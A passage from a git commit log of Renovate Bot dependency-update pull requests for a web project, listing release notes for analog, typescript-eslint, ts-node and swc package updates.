([0dd147c](https://github.com/analogjs/analog/commit/0dd147c4f764dbaa2c82a04e887b3ecad91d1e1a)) - support canary Nx releases ([664b1a2](https://github.com/analogjs/analog/commit/664b1a27d86acbc53c71d4ab2fedbf0e1a12040f)) - **vitest-angular:** reset TestBed between tests ([6f704b0](https://github.com/analogjs/analog/commit/6f704b0146303f6804ca0be1e4af959b1b70e0e4)), closes [#​1994](https://github.com/analogjs/analog/issues/1994) ##### Features - add itemprop meta tag support to MetaTag types ([543b351](https://github.com/analogjs/analog/commit/543b35196da5f07676c2e065a6d6a108b846638c)) - add itemprop meta tag support to parent and child meta tag values ([830a50f](https://github.com/analogjs/analog/commit/830a50fe72dc3a58eddb6431581fe2169f99a36e)) - add support for Vite 8.x releases ([#​1989](https://github.com/analogjs/analog/issues/1989)) ([fd4031e](https://github.com/analogjs/analog/commit/fd4031e49efb4f12e9cb874055c0cfb4ef012fb9)) - **storybook-angular:** allows setting tsconfig via framework options ([#​1999](https://github.com/analogjs/analog/issues/1999)) ([cbd358d](https://github.com/analogjs/analog/commit/cbd358dd7c28d5f9c1212c428af77f44a2bd5498)) - **vite-plugin-angular:** improve dev/build performance with caches and plugin optimizations ([#​1987](https://github.com/analogjs/analog/issues/1987)) ([47ed20f](https://github.com/analogjs/analog/commit/47ed20f17bd42502c6d9845361a61556f7fdd2ae)) - **vitest-angular:** added support for browser mode preview ([#​2012](https://github.com/analogjs/analog/issues/2012)) ([dc27af2](https://github.com/analogjs/analog/commit/dc27af22c5f251d2bb583476fcb953c7fe9cc5e4)) ##### Performance Improvements - **vite-plugin-angular:** apply transform filter to plugins ([#​2011](https://github.com/analogjs/analog/issues/2011)) ([0bfe92d](https://github.com/analogjs/analog/commit/0bfe92d4ec2a5422b9decec09c54f045fac8c135)) - **vite-plugin-angular:** pass modified files for incremental compilation ([#​2010](https://github.com/analogjs/analog/issues/2010)) ([7cb7970](https://github.com/analogjs/analog/commit/7cb797067f2df37b7f884cac6f6b211e88d2e662)) - **vite-plugin-angular:** re-use builder between compilations ([#​1990](https://github.com/analogjs/analog/issues/1990)) ([e4ae778](https://github.com/analogjs/analog/commit/e4ae7787ece34443d6cbe8b77050ea94447a97e0)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/21 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
c8c8eafde1 |
chore(deps): update typescript tooling (#20)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@typescript-eslint/utils](https://typescript-eslint.io/packages/utils) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/utils)) | devDependencies | patch | [`8.59.1` -> `8.59.2`](https://renovatebot.com/diffs/npm/@typescript-eslint%2futils/8.59.1/8.59.2) | | [ts-node](https://typestrong.org/ts-node) ([source](https://github.com/TypeStrong/ts-node)) | devDependencies | patch | [`10.9.1` -> `10.9.2`](https://renovatebot.com/diffs/npm/ts-node/10.9.1/10.9.2) | | [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | devDependencies | patch | [`8.59.1` -> `8.59.2`](https://renovatebot.com/diffs/npm/typescript-eslint/8.59.1/8.59.2) | --- ### Release Notes <details> <summary>typescript-eslint/typescript-eslint (@​typescript-eslint/utils)</summary> ### [`v8.59.2`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/utils/CHANGELOG.md#8592-2026-05-04) [Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.1...v8.59.2) This was a version bump only for utils to align it with other projects, there were no code changes. See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.59.2) for more information. You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website. </details> <details> <summary>TypeStrong/ts-node (ts-node)</summary> ### [`v10.9.2`](https://github.com/TypeStrong/ts-node/releases/tag/v10.9.2): Fix `tsconfig.json` file not found [Compare Source](https://github.com/TypeStrong/ts-node/compare/v10.9.1...v10.9.2) **Fixed** - Fixed `tsconfig.json` file not found on latest TypeScript version (https://github.com/TypeStrong/ts-node/pull/2091) </details> <details> <summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary> ### [`v8.59.2`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8592-2026-05-04) [Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.1...v8.59.2) This was a version bump only for typescript-eslint to align it with other projects, there were no code changes. See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.59.2) for more information. You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #20 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
403b0750d6 |
chore(deps): update swc (#19)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@swc/core](https://swc.rs) ([source](https://github.com/swc-project/swc/tree/HEAD/packages/core)) | devDependencies | patch | [`1.15.8` -> `1.15.33`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.15.8/1.15.33) | | [@swc/helpers](https://swc.rs) ([source](https://github.com/swc-project/swc/tree/HEAD/packages/helpers)) | devDependencies | patch | [`0.5.18` -> `0.5.21`](https://renovatebot.com/diffs/npm/@swc%2fhelpers/0.5.18/0.5.21) | --- ### Release Notes <details> <summary>swc-project/swc (@​swc/core)</summary> ### [`v1.15.33`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11533---2026-05-02) [Compare Source](https://github.com/swc-project/swc/compare/v1.15.32...v1.15.33) ##### Bug Fixes - **(ci)** Update rand lockfile entries ([#​11827](https://github.com/swc-project/swc/issues/11827)) ([7988966](https://github.com/swc-project/swc/commit/7988966eb33d2404fe588ec50345100ea57a3cf4)) - **(es/minifier)** Fold unary bool nullish coalescing ([#​11826](https://github.com/swc-project/swc/issues/11826)) ([e39ae3d](https://github.com/swc-project/swc/commit/e39ae3d3489373414ef23177b82f0ab77250a1f2)) - **(es/minifier)** Preserve for-init sequence order ([#​11837](https://github.com/swc-project/swc/issues/11837)) ([16a56d0](https://github.com/swc-project/swc/commit/16a56d031fd801796df6b648bc533b97e27b39f8)) - **(es/parser)** Parse empty Flow exact object type ([#​11836](https://github.com/swc-project/swc/issues/11836)) ([3d18a26](https://github.com/swc-project/swc/commit/3d18a2673a69e6e6172c161815fd576c41d59330)) ##### Features - Move swc ast explorer into workspace ([#​11831](https://github.com/swc-project/swc/issues/11831)) ([02a8f81](https://github.com/swc-project/swc/commit/02a8f8123bdec3e8291a2f82ccf01d3e44114c49)) ### [`v1.15.32`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11532---2026-04-27) [Compare Source](https://github.com/swc-project/swc/compare/v1.15.30...v1.15.32) ##### Bug Fixes - **(es/flow)** Fix Flow type-only modules in script transforms ([#​11817](https://github.com/swc-project/swc/issues/11817)) ([be38316](https://github.com/swc-project/swc/commit/be38316f9a7242f2d3765503216b9c3116021b1c)) - **(es/flow)** Avoid restoring module context when flow syntax is enabled ([#​11819](https://github.com/swc-project/swc/issues/11819)) ([3ed7243](https://github.com/swc-project/swc/commit/3ed724389a55847f5e236421c23f2cd85a7208b3)) - **(es/minifier)** Preserve frozen spread registry keys ([#​11825](https://github.com/swc-project/swc/issues/11825)) ([347181c](https://github.com/swc-project/swc/commit/347181c45717431a64cb60e0d6ccbe667322a809)) - **(es/parser)** Align Flow generic arrow JSX disambiguation ([#​11821](https://github.com/swc-project/swc/issues/11821)) ([28a7fad](https://github.com/swc-project/swc/commit/28a7fadc2acf95500d934988617b73f0debf5a53)) ##### Features - **(es)** Add `jsc.preserveSymlinks` to `swc::Options` ([#​11813](https://github.com/swc-project/swc/issues/11813)) ([fe38342](https://github.com/swc-project/swc/commit/fe38342b8fa960b430300f2491a5695c09debf4c)) ### [`v1.15.30`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11530---2026-04-19) [Compare Source](https://github.com/swc-project/swc/compare/v1.15.26...v1.15.30) ##### Bug Fixes - **(deploy)** Fix musl binding test workflow ([#​11804](https://github.com/swc-project/swc/issues/11804)) ([c30a522](https://github.com/swc-project/swc/commit/c30a5226920311a26f2b9692d057a50b18266d30)) - **(deploy)** Build package ts before Linux GNU binding tests ([#​11806](https://github.com/swc-project/swc/issues/11806)) ([a3d3ef3](https://github.com/swc-project/swc/commit/a3d3ef3924a80e19101a9735bf357ac14cd68fbc)) - **(es/jsx)** Preserve quoted JSX attribute newlines ([#​11796](https://github.com/swc-project/swc/issues/11796)) ([9fe56c8](https://github.com/swc-project/swc/commit/9fe56c88553bb79254a7a5e991bfedc5f6c689e1)) - **(es/minifier)** Support full ES version parsing in minify ([#​11800](https://github.com/swc-project/swc/issues/11800)) ([af1f08f](https://github.com/swc-project/swc/commit/af1f08f09e749392815f0449ffac2bdd62a5b0e3)) - **(es/module)** Add opt-in symlink-preserving resolver ([#​11801](https://github.com/swc-project/swc/issues/11801)) ([6028240](https://github.com/swc-project/swc/commit/6028240017608aac8d80d2c1ff37cf9f13534af6)) - **(es/parser)** Allow return type annotation on Flow constructors ([#​11790](https://github.com/swc-project/swc/issues/11790)) ([d66b29c](https://github.com/swc-project/swc/commit/d66b29c11d7e9709906e7c6ba6a98fcde428ca65)) - **(es/parser)** Support Flow anonymous keyof indexers ([#​11792](https://github.com/swc-project/swc/issues/11792)) ([452c4e5](https://github.com/swc-project/swc/commit/452c4e59e6230e36ab2ef19608d214b72d3baf72)) - **(es/parser)** Add Flow strip RN and RNW regression corpus ([#​11799](https://github.com/swc-project/swc/issues/11799)) ([23a9109](https://github.com/swc-project/swc/commit/23a9109396dc1fcd496e2fbf90552fce0d5ca55b)) ##### Documentation - Require PR template for pull requests ([#​11793](https://github.com/swc-project/swc/issues/11793)) ([3a1084a](https://github.com/swc-project/swc/commit/3a1084ad1860afdbea2703f13030c3baaaf778db)) ##### Features - **(es/minify)** Support extracting comments ([#​11798](https://github.com/swc-project/swc/issues/11798)) ([5986411](https://github.com/swc-project/swc/commit/5986411655d7b9e3a1d4e401de9fbda94164c0a3)) ### [`v1.15.26`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11526---2026-04-14) [Compare Source](https://github.com/swc-project/swc/compare/v1.15.24...v1.15.26) ##### Bug Fixes - **(es/decorators)** Preserve super in moved static members ([#​11781](https://github.com/swc-project/swc/issues/11781)) ([778328e](https://github.com/swc-project/swc/commit/778328e5b40232b311e33e0dede4f1f53e523c4a)) - **(es/decorators)** Scope moved static super rewrite ([#​11782](https://github.com/swc-project/swc/issues/11782)) ([f73cacc](https://github.com/swc-project/swc/commit/f73cacca16c628cf59820eddb6594fd08f124d6d)) - **(es/parser)** Parse mixed Flow anonymous callable params ([#​11786](https://github.com/swc-project/swc/issues/11786)) ([05e7b69](https://github.com/swc-project/swc/commit/05e7b69373d3b1e4957f557cb3d640b59998d8a7)) - **(es/transforms)** Rewrite class references in non-static members ([#​11772](https://github.com/swc-project/swc/issues/11772)) ([fff1426](https://github.com/swc-project/swc/commit/fff1426c86cd47d0d879c5e7c4f029c4adb132e7)) - **(es/typescript)** Handle TypeScript expressions in enum transformation ([#​11769](https://github.com/swc-project/swc/issues/11769)) ([85aa4a8](https://github.com/swc-project/swc/commit/85aa4a8b95f08d97df47d11f5c2fd11f7db97381)) ##### Documentation - Document Flow strip support ([#​11778](https://github.com/swc-project/swc/issues/11778)) ([8f176cc](https://github.com/swc-project/swc/commit/8f176cc907093bc80c6792744ea215b69ff62efb)) ##### Features - **(swc\_common)** Add SourceMapper.map\_raw\_pos ([#​11777](https://github.com/swc-project/swc/issues/11777)) ([7d2e94c](https://github.com/swc-project/swc/commit/7d2e94ce379ba8fc738a5697299cdb9a3c748e8a)) - **(swc\_config)** Add Hash/Eq for options and CachedRegex ([#​11775](https://github.com/swc-project/swc/issues/11775)) ([86a4c38](https://github.com/swc-project/swc/commit/86a4c383b8da40a53bad1b1b5098227d3087927c)) ##### Performance - **(swc)** Use larger input for es/full benchmarks ([#​11779](https://github.com/swc-project/swc/issues/11779)) ([4409920](https://github.com/swc-project/swc/commit/44099207878c2e7f6ec75379040402057ad4f97b)) ##### Refactor - **(es/minifier)** Inline into shorthand prop early ([#​11766](https://github.com/swc-project/swc/issues/11766)) ([450bdfa](https://github.com/swc-project/swc/commit/450bdfa14f61ca008f5399d7292d5d9bc5e07380)) ##### Build - Update `rustc` to `nightly-2026-04-10` ([#​11783](https://github.com/swc-project/swc/issues/11783)) ([6facc79](https://github.com/swc-project/swc/commit/6facc79dc4022e9a31dcb1c7e8952917f88867e9)) ### [`v1.15.24`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11524---2026-04-04) [Compare Source](https://github.com/swc-project/swc/compare/v1.15.21...v1.15.24) ##### Bug Fixes - **(es/decorators)** Scope 2023-11 implicit-global rewrite to decorator-lifted exprs ([#​11743](https://github.com/swc-project/swc/issues/11743)) ([1c01bbb](https://github.com/swc-project/swc/commit/1c01bbb46ddb33b380b8216235c1e6f2767d0aae)) - **(es/minifier)** Handle `toExponential(undefined)` ([#​11583](https://github.com/swc-project/swc/issues/11583)) ([cd94a31](https://github.com/swc-project/swc/commit/cd94a3141621cec617dac7e84c50070cd598ec46)) - **(es/minifier)** Cap deep if\_return conditional chains ([#​11758](https://github.com/swc-project/swc/issues/11758)) ([a92fa3e](https://github.com/swc-project/swc/commit/a92fa3e8e27f604186a2393284d3deb67a9146f1)) - **(es/minifier)** Inline prop shorthand in computed props ([#​11760](https://github.com/swc-project/swc/issues/11760)) ([71feafb](https://github.com/swc-project/swc/commit/71feafb4bc79883a558164e9543ae4ecedc9187e)) - **(es/parser)** Parse key Flow forms from [#​11729](https://github.com/swc-project/swc/issues/11729) (phase 1) ([#​11733](https://github.com/swc-project/swc/issues/11733)) ([886fe53](https://github.com/swc-project/swc/commit/886fe533ad7edfb13804be3a779eccb160cf69e7)) - **(es/parser)** Close remaining Flow parser gaps for [#​11729](https://github.com/swc-project/swc/issues/11729) (phase 2) ([#​11740](https://github.com/swc-project/swc/issues/11740)) ([8d36f05](https://github.com/swc-project/swc/commit/8d36f05499f7e2cc5c568227d05e5f912e01509b)) - **(es/regexp)** Preserve source for wrapped named groups ([#​11757](https://github.com/swc-project/swc/issues/11757)) ([7e56fe5](https://github.com/swc-project/swc/commit/7e56fe5cb4dfc3fc1758e2139949107d5eaa8e47)) - **(html/codegen)** Keep </p> for span-parent paragraphs ([#​11756](https://github.com/swc-project/swc/issues/11756)) ([ede9950](https://github.com/swc-project/swc/commit/ede9950d35cdd4968331ac0111cdb413e60f3438)) - **(swc\_common)** Make `eat_byte` unsafe to prevent UTF-8 boundary violation ([#​11731](https://github.com/swc-project/swc/issues/11731)) ([669a659](https://github.com/swc-project/swc/commit/669a659c6e29c12eba793e646c6b29002782a84c)) ##### Features - **(es/minifier)** Remove useless arguments for non inlined callee ([#​11645](https://github.com/swc-project/swc/issues/11645)) ([bab249e](https://github.com/swc-project/swc/commit/bab249ef031f71ebe4089b15a03b435d7258e895)) - **(react-compiler)** Advance SWC parity for upstream fixtures ([#​11724](https://github.com/swc-project/swc/issues/11724)) ([468da70](https://github.com/swc-project/swc/commit/468da70bbdf876e44155fda09cbca7ee939fa68f)) - **(react-compiler)** Tighten core validation parity for upstream fixtures ([#​11734](https://github.com/swc-project/swc/issues/11734)) ([7e2cf8d](https://github.com/swc-project/swc/commit/7e2cf8d46a6f41967b93858d9f3269ae46370d14)) - **(react-compiler)** Improve SWC parity for early-return and hooks validation ([#​11738](https://github.com/swc-project/swc/issues/11738)) ([4739c58](https://github.com/swc-project/swc/commit/4739c586d0deb88d3d536835adb873b9c036bef5)) - **(react-compiler)** M1 memo validators + lint gating alignment ([#​11739](https://github.com/swc-project/swc/issues/11739)) ([7e1ad26](https://github.com/swc-project/swc/commit/7e1ad26b49295085208c2e4ddfb175c479da53bc)) - **(react-compiler)** Improve Stage A diagnostic parity and validation aggregation ([#​11745](https://github.com/swc-project/swc/issues/11745)) ([0e2075e](https://github.com/swc-project/swc/commit/0e2075e4addc9771dbe5388b6d30fd4344308bd1)) - **(react-compiler)** Continue swc parity for dependency handling ([#​11747](https://github.com/swc-project/swc/issues/11747)) ([83688c8](https://github.com/swc-project/swc/commit/83688c8af8695b895d871a4d6d9530d89fcba2a9)) ##### Refactor - **(es/minifier)** Inline usage analyzer and remove crate ([#​11750](https://github.com/swc-project/swc/issues/11750)) ([7d8d11b](https://github.com/swc-project/swc/commit/7d8d11b53ad046cafce6aff76672df41ad276615)) - **(react-compiler)** Remove compiler impl and keep fast\_check ([#​11753](https://github.com/swc-project/swc/issues/11753)) ([f21d336](https://github.com/swc-project/swc/commit/f21d33629033f305d300d91982d0a87bc807e427)) ##### Ci - Add manual Publish crates workflow ([#​11763](https://github.com/swc-project/swc/issues/11763)) ([169c961](https://github.com/swc-project/swc/commit/169c96107357653fa0d1c0feb715aa2312481e0a)) - Add misc npm publish workflow ([#​11764](https://github.com/swc-project/swc/issues/11764)) ([236eff0](https://github.com/swc-project/swc/commit/236eff01dd30e780596ed33704b85bf91491bc10)) ### [`v1.15.21`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11521---2026-03-22) [Compare Source](https://github.com/swc-project/swc/compare/v1.15.18...v1.15.21) ##### Bug Fixes - **(cli)** Honor externalHelpers=false in rust binary ([#​11693](https://github.com/swc-project/swc/issues/11693)) ([1be052e](https://github.com/swc-project/swc/commit/1be052e36154ed0382aeb93a4ff8f9e441ffbdca)) - **(cli)** Skip mkdir when --out-file targets the current directory ([#​11720](https://github.com/swc-project/swc/issues/11720)) ([f3f4e51](https://github.com/swc-project/swc/commit/f3f4e51cedb3051a7c75c0cdecaa17e1d276597f)) - **(es/decorators)** Resolve 2022-03 issues [#​9565](https://github.com/swc-project/swc/issues/9565)/[#​9078](https://github.com/swc-project/swc/issues/9078)/[#​9079](https://github.com/swc-project/swc/issues/9079) and add regressions ([#​11698](https://github.com/swc-project/swc/issues/11698)) ([a025d2b](https://github.com/swc-project/swc/commit/a025d2bc2fa482b675084f5802865cd02c8b63c4)) - **(es/fixer)** Wrap new opt chain ([#​11618](https://github.com/swc-project/swc/issues/11618)) ([fdcd184](https://github.com/swc-project/swc/commit/fdcd184a2ad3295015faf51fde62dbe4b700515e)) - **(es/flow)** Normalize module await bindings for Hermes parity ([#​11703](https://github.com/swc-project/swc/issues/11703)) ([73d8761](https://github.com/swc-project/swc/commit/73d87616f5db5146fac774cd60d5ec18195140c3)) - **(es/minifier)** Fix compatibility for Wasm plugin (`swc_ast_unknown`) ([#​11641](https://github.com/swc-project/swc/issues/11641)) ([abd0e45](https://github.com/swc-project/swc/commit/abd0e45fb9cee9f79fb58d3a520f9ff92ecf4566)) - **(es/module)** Preserve explicit index.js import path when baseUrl is set ([#​11597](https://github.com/swc-project/swc/issues/11597)) ([830dbeb](https://github.com/swc-project/swc/commit/830dbeb44f3bf6faf807808d596d970442b6e6e3)) - **(es/module)** Avoid rewriting unknown relative extensions ([#​11713](https://github.com/swc-project/swc/issues/11713)) ([ed09218](https://github.com/swc-project/swc/commit/ed092184839057467702976ad43ed4e3f902dc6b)) - **(es/regexp)** Implement transform-named-capturing-groups-regex ([#​11642](https://github.com/swc-project/swc/issues/11642)) ([f62bfa9](https://github.com/swc-project/swc/commit/f62bfa90701cdcfe87af082d5104f0c1e2dd7e0d)) - **(es/types)** Add new options types ([#​11683](https://github.com/swc-project/swc/issues/11683)) ([62eeee1](https://github.com/swc-project/swc/commit/62eeee15324a6aa25a2e17d497f1d41900cbac99)) - **(malloc)** Fallback to system allocator on linux gnu s390x/powerpc ([#​11606](https://github.com/swc-project/swc/issues/11606)) ([e103fac](https://github.com/swc-project/swc/commit/e103facd4451349478efbaf8caaf89294d4780f9)) - Update lz4\_flex to resolve RUSTSEC-2026-0041 ([#​11701](https://github.com/swc-project/swc/issues/11701)) ([7528507](https://github.com/swc-project/swc/commit/7528507bc6d3fb723742e62abb156d510fba1329)) ##### Documentation - **(agents)** Improve guidance ([#​11626](https://github.com/swc-project/swc/issues/11626)) ([1cdfec9](https://github.com/swc-project/swc/commit/1cdfec9f298d0979f40d2be5a227ea4dc973138b)) - **(agents)** Add AGENTS two-pass rules for es crates ([#​11634](https://github.com/swc-project/swc/issues/11634)) ([12af4a1](https://github.com/swc-project/swc/commit/12af4a1fcffff0bcefaa5ca766914d1aae2c7847)) - Move parser design guidance into AGENTS.md ([#​11600](https://github.com/swc-project/swc/issues/11600)) ([e6e91a3](https://github.com/swc-project/swc/commit/e6e91a3d525774fb3453ebda64793d3d253771b5)) - Clarify workaround comment requirement in AGENTS ([#​11700](https://github.com/swc-project/swc/issues/11700)) ([e2ad6f6](https://github.com/swc-project/swc/commit/e2ad6f61c882b6b302d886268170560087cd5684)) ##### Features - **(bindings)** Add linux ppc64le and s390x support across npm bindings ([#​11602](https://github.com/swc-project/swc/issues/11602)) ([357255d](https://github.com/swc-project/swc/commit/357255d56d4cc61b55be27a4b052f2f3019d018d)) - **(bindings)** Enable flow strip support in [@​swc/core](https://github.com/swc/core) ([#​11696](https://github.com/swc-project/swc/issues/11696)) ([93da89a](https://github.com/swc-project/swc/commit/93da89a272408ec5d4cf43d9c087774794661657)) - **(cli)** Enable Flow strip support in swc\_cli\_impl ([#​11705](https://github.com/swc-project/swc/issues/11705)) ([0ea9950](https://github.com/swc-project/swc/commit/0ea99502686a43bf33c397ef47fad344de78abb9)) - **(dbg-swc)** Add flow strip verification command ([#​11706](https://github.com/swc-project/swc/issues/11706)) ([77b7854](https://github.com/swc-project/swc/commit/77b7854046b584a933935b9252fd6df183828409)) - **(es)** Add `swc_es_codegen` for `swc_es_ast` ([#​11628](https://github.com/swc-project/swc/issues/11628)) ([c282d86](https://github.com/swc-project/swc/commit/c282d8616b4626ba880096e356ad1200108def9e)) - **(es)** Add 2-pass transformer and minifier crates ([#​11632](https://github.com/swc-project/swc/issues/11632)) ([f70a4b7](https://github.com/swc-project/swc/commit/f70a4b7c15324a0d7d771e11ff1ab738f964e43b)) - **(es)** Add TypeScript + React transforms and tsc corpus tests ([#​11635](https://github.com/swc-project/swc/issues/11635)) ([09a5d8d](https://github.com/swc-project/swc/commit/09a5d8d39f65684f4dc88558b92804dcb19a1c0b)) - **(es/helpers)** Prevent recursive instanceof helper transforms ([#​11609](https://github.com/swc-project/swc/issues/11609)) ([cb755a3](https://github.com/swc-project/swc/commit/cb755a3260aac2a1aaeab8ccf0458b783607511b)) - **(es/parser)** Add `with_capacity` for `Capturing` ([#​11679](https://github.com/swc-project/swc/issues/11679)) ([60df582](https://github.com/swc-project/swc/commit/60df58288867757038c6eec45ccc54bf1799f10c)) - **(es/parser)** Add flow syntax mode and strip integration ([#​11685](https://github.com/swc-project/swc/issues/11685)) ([015bbe8](https://github.com/swc-project/swc/commit/015bbe8759da1a57a33dd8c7791bc835e4150034)) - **(es/parser)** Finish flow strip support for core syntax gaps ([#​11689](https://github.com/swc-project/swc/issues/11689)) ([584a12f](https://github.com/swc-project/swc/commit/584a12f6fa15f4beaf030fa6224ba77be1874e0f)) - **(es/parser)** Extend flow declare export strip compatibility ([#​11691](https://github.com/swc-project/swc/issues/11691)) ([a8315aa](https://github.com/swc-project/swc/commit/a8315aaea70d2b9dcd5da56b5726190c84ed3036)) - **(es/parser)** Support Flow declare export default interface strip path ([#​11692](https://github.com/swc-project/swc/issues/11692)) ([588577c](https://github.com/swc-project/swc/commit/588577c5c2541ae0d4c198648ba74265eb05dc39)) - **(es/parser)** Add Hermes Flow parity harness and fixes ([#​11699](https://github.com/swc-project/swc/issues/11699)) ([918b6ac](https://github.com/swc-project/swc/commit/918b6ac1f5ca151aa70b6b5f4fcb2443be80eacb)) - **(es/parser)** Complete Hermes Flow stripping parity ([#​11702](https://github.com/swc-project/swc/issues/11702)) ([f041f4c](https://github.com/swc-project/swc/commit/f041f4c2f2c757489a2c1194fe03d890052d131e)) - **(es/proposal)** Add decorators 2023-11 support ([#​11686](https://github.com/swc-project/swc/issues/11686)) ([e96eb6a](https://github.com/swc-project/swc/commit/e96eb6a82897f80910e9cf81ae5b0649a0a0855a)) - **(es/react-compiler)** Scaffold SWC port of Babel entrypoint ([#​11687](https://github.com/swc-project/swc/issues/11687)) ([4a1d3ce](https://github.com/swc-project/swc/commit/4a1d3ce3175428a4113eda8f4bc7b07ccb18b60f)) - **(es/react-compiler)** Phase1 crate API baseline and fixture harness ([#​11690](https://github.com/swc-project/swc/issues/11690)) ([31364dc](https://github.com/swc-project/swc/commit/31364dcb26860e49ff64f60fa60d4b5cd39b199d)) - **(es/react-compiler)** Strict upstream parity finalization (crate-only, WIP) ([#​11697](https://github.com/swc-project/swc/issues/11697)) ([a3994aa](https://github.com/swc-project/swc/commit/a3994aa5f853836c528614a89e435fc5eacb7f13)) - **(es/react-compiler)** Advance strict upstream parity ([#​11709](https://github.com/swc-project/swc/issues/11709)) ([9b3abe0](https://github.com/swc-project/swc/commit/9b3abe078f86db7e6cc80b7cd1c3c1150c41a71a)) - **(es/react-compiler)** Advance upstream fixture parity pipeline ([#​11716](https://github.com/swc-project/swc/issues/11716)) ([33fe6f2](https://github.com/swc-project/swc/commit/33fe6f26aa4a5dcc6542d752632e75b4f3595e7d)) - **(es/semantics)** Add scope analysis and statement-level cfg ([#​11623](https://github.com/swc-project/swc/issues/11623)) ([86815b1](https://github.com/swc-project/swc/commit/86815b1e9cecd2c0b67c17c5d4ba2b99f904b355)) - **(es\_parser)** Complete parity suite with zero ignores ([#​11615](https://github.com/swc-project/swc/issues/11615)) ([ee3fdd5](https://github.com/swc-project/swc/commit/ee3fdd553564a1af8490ff1f2b1d1b74c8574ba9)) - **(es\_parser)** Complete internal parser wiring without ecma runtime dep ([#​11622](https://github.com/swc-project/swc/issues/11622)) ([1c51891](https://github.com/swc-project/swc/commit/1c518913a5abd64e60fe7fa5c5ece856a2861147)) - **(es\_parser)** Expand benchmark corpus ([#​11633](https://github.com/swc-project/swc/issues/11633)) ([ff3adef](https://github.com/swc-project/swc/commit/ff3adef43b0b49a611f1f1704400ca20ec1111f3)) - **(react-compiler)** Advance SWC upstream fixture parity ([#​11718](https://github.com/swc-project/swc/issues/11718)) ([e8d1696](https://github.com/swc-project/swc/commit/e8d16969b74d21f13b1594ef71ceef3d550d0a59)) - **(react-compiler)** Improve lint rename and gating parity ([#​11721](https://github.com/swc-project/swc/issues/11721)) ([5f89ee7](https://github.com/swc-project/swc/commit/5f89ee70d5af99a382a8f8ca16ba913b1ddd746e)) - **(swc\_es\_parser)** Enforce full parity suite and extend grammar surface ([#​11611](https://github.com/swc-project/swc/issues/11611)) ([585f7d0](https://github.com/swc-project/swc/commit/585f7d07a44b2508b05d6b07e9fcd83cb5cb7185)) - **(swc\_es\_parser)** Complete lossless modeling for with/TS module/decorators ([#​11613](https://github.com/swc-project/swc/issues/11613)) ([59b1189](https://github.com/swc-project/swc/commit/59b11898fe247382bed44fddfb29c9592050b8bc)) - **(swc\_es\_parser)** Close parity gaps with full core/large fixture pass-fail parity ([#​11614](https://github.com/swc-project/swc/issues/11614)) ([3085f52](https://github.com/swc-project/swc/commit/3085f52a0f2aafc194d01a4394ddce72c455c6a5)) - Complete core parity parser coverage ([#​11603](https://github.com/swc-project/swc/issues/11603)) ([18e0edc](https://github.com/swc-project/swc/commit/18e0edce9ebdd50508c9e60f50d1adf5a286e865)) ##### Performance - **(es/modules)** Avoid export sort key clones ([#​11669](https://github.com/swc-project/swc/issues/11669)) ([e74e17d](https://github.com/swc-project/swc/commit/e74e17dcf2e23ced12e199d05146e88a55b6174f)) - **(es/parser)** Reduce JSX identifier rescan allocations ([#​11671](https://github.com/swc-project/swc/issues/11671)) ([f9214fe](https://github.com/swc-project/swc/commit/f9214fed47818f2df75865645ef6a3358300d86a)) - **(es/parser)** 